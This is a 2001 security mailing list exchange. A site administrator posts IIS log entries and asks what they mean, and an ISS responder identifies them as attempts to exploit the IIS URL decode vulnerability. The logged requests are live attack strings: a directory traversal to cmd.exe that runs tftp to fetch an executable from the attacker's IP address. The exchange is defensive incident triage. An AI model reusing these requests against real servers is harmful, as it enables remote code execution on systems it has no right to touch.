[Dshield] What the heck is this? It does not look good...... ...........

Ciavarro, Maria (ISS Atlanta) MCiavarro at iss.net
Tue Aug 28 20:41:07 GMT 2001


URL Decode  vulnerability --  IIS 4.0 & 5.0

http://xforce.iss.net/alerts/advise77.php

http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/
bulletin/MS01-026.asp


-----Original Message-----
From: Paul Marsh [mailto:pmarsh at nmefdn.org]
Sent: Tuesday, August 28, 2001 15:51
To: 'Dshield (E-mail)
Subject: [Dshield] What the heck is this? It does not look
good.................


 12:39:19 216.154.60.147 - GET
/msadc/../../../../../../winnt/system32/cmd.exe
/c+tftp.exe+"-i"+216.154.60.147+get+0.exe+c:\temp\0.exe 404
 12:39:31 216.154.60.147 - GET
/_vti_bin/../../../../../../winnt/system32/cmd.exe
/c+tftp.exe+"-i"+216.154.60.147+get+0.exe+c:\temp\0.exe 502
 12:39:41 216.154.60.147 - GET
/_vti_bin/../../../../../../winnt/system32/cmd.exe
/c+tftp.exe+"-i"+216.154.60.147+get+0.exe+c:\temp\0.exe 502

Thanx, Paul

_______________________________________________
Dshield mailing list
Dshield at dshield.org
To change your subscription options (or unsubscribe), see:
http://www1.dshield.org/mailman/listinfo/dshield




More information about the list mailing list